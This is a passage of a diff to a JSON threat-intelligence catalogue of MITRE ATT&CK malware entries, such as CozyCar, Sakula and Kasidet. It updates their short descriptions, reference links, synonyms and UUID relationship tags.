"https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + "external_id": "S0046", + "mitre_platforms": [ + "Windows" ], - "uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06" - }, - "value": "Ixeshe" - }, - { - "description": "is an OS X trojan that relied on a valid developer ID and oblivious users to install it.[[Citation: Janicab]]", - "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0163", - "http://www.thesafemac.com/new-signed-malware-called-janicab/" + "https://attack.mitre.org/software/S0046", + "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" ], - "uuid": "4af4e96f-c92d-4a45-9958-a88ad8deb38d" + "synonyms": [ + "CozyCar", + "CozyDuke", + "CozyBear", + "Cozer", + "EuroAPT" + ] }, "related": [ { - "dest-uuid": "234e7770-99b0-4f65-b983-d3230f76a60b", + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754", + "value": "CozyCar - S0046" + }, + { + "description": "[ELMER](https://attack.mitre.org/software/S0064) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://attack.mitre.org/groups/G0023). (Citation: FireEye EPS Awakens Part 2)", + "meta": { + "external_id": "S0064", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0064", + "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + ], + "synonyms": [ + "ELMER" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "value": "ELMER - S0064" + }, + { + "description": "[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)", + "meta": { + "external_id": "S0074", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0074", + "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + ], + "synonyms": [ + "Sakula", + "Sakurel", + "VIPER" + ] + }, + "related": [ + { + "dest-uuid": "3eca2d5f-41bf-4ad4-847f-df18befcdc44", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "c3c20c4b-e12a-42e5-960a-eea4644014f4", + "dest-uuid": "f6c137f0-979c-4ce2-a0e5-2a080a5a1746", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "e88eb9b1-dc8b-4696-8dcf-0c29924d0f8b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Janicab" + "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e", + "value": "Sakula - S0074" }, { - "description": "Kasidet is a backdoor that has been dropped by using malicious VBA macros.[[Citation: Zscaler Kasidet]]", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)", "meta": { + "external_id": "S0048", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0088", + "https://attack.mitre.org/software/S0048", + "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + ], + "synonyms": [ + "PinchDuke" + ] + }, + "related": [ + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ae9d818d-95d0-41da-b045-9cabea1ca164", + "value": "PinchDuke - S0048" + }, + { + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)", + "meta": { + "external_id": "S0049", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0049", + "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + ], + "synonyms": [ + "GeminiDuke" + ] + }, + "related": [ + { + "dest-uuid": "6a28a648-30c0-4d1d-bd67-81a8dc6486ba", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6", + "value": "GeminiDuke - S0049" + }, + { + "description": "[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)", + "meta": { + "external_id": "S0055", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0055", + "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" + ], + "synonyms": [ + "RARSTONE" + ] + }, + "related": [ + { + "dest-uuid": "5d2dd6ad-6bb2-45d3-b295-e125d3399c8d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8c553311-0baa-4146-997a-f79acef3d831", + "value": "RARSTONE - S0055" + }, + { + "description": "[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)", + "meta": { + "external_id": "S0058", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0058", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "synonyms": [ + "SslMM" + ] + }, + "related": [ + { + "dest-uuid": "009db412-762d-4256-8df9-eb213be01ffd", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "value": "SslMM - S0058" + }, + { + "description": "[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)", + "meta": { + "external_id": "S0059", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0059", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "synonyms": [ + "WinMM" + ] + }, + "related": [ + { + "dest-uuid": "6a100902-7204-4f20-b838-545ed86d4428", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "22addc7b-b39f-483d-979a-1b35147da5de", + "value": "WinMM - S0059" + }, + { + "description": "[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)", + "meta": { + "external_id": "S0076", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0076", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "synonyms": [ + "FakeM" + ] + }, + "related": [ + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "bb3c1098-d654-4620-bf40-694386d28921", + "value": "FakeM - S0076" + }, + { + "description": "[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. (Citation: CrowdStrike Putter Panda)", + "meta": { + "external_id": "S0067", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0067", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ], + "synonyms": [ + "pngdowner" + ] + }, + "related": [ + { + "dest-uuid": "fb4313ea-1fb6-4766-8b5c-b41fd347e4c5", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d", + "value": "pngdowner - S0067" + }, + { + "description": "[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)", + "meta": { + "external_id": "S0086", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0086", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + ], + "synonyms": [ + "ZLib" + ] + }, + "related": [ + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "166c0eca-02fd-424a-92c0-6b5106994d31", + "value": "ZLib - S0086" + }, + { + "description": "[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)", + "meta": { + "external_id": "S0068", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0068", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ], + "synonyms": [ + "httpclient" + ] + }, + "related": [ + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e8268361-a599-4e45-bd3f-71c8c7e700c0", + "value": "httpclient - S0068" + }, + { + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)", + "meta": { + "external_id": "S0069", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0069", + "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "synonyms": [ + "BLACKCOFFEE" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43", + "value": "BLACKCOFFEE - S0069" + }, + { + "description": "[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)", + "meta": { + "external_id": "S0077", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0077", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "synonyms": [ + "CallMe" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "cb7bcf6f-085f-41db-81ee-4b68481661b5", + "value": "CallMe - S0077" + }, + { + "description": "[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)", + "meta": { + "external_id": "S0078", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0078", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "synonyms": [ + "Psylo" + ] + }, + "related": [ + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "dfb5fa9b-3051-4b97-8035-08f80aef945b", + "value": "Psylo - S0078" + }, + { + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)", + "meta": { + "external_id": "S0079", + "refs": [ + "https://attack.mitre.org/software/S0079", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "synonyms": [ + "MobileOrder" + ] + }, + "related": [ + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "463f68f1-5cde-4dc2-a831-68b73488f8f4", + "value": "MobileOrder - S0079" + }, + { + "description": "[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)", + "meta": { + "external_id": "S0088", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0088", "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" ], - "uuid": "26fed817-e7bf-41f9-829a-9075ffac45c2" + "synonyms": [ + "Kasidet" + ] }, "related": [ { @@ -2065,23 +10215,2700 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + 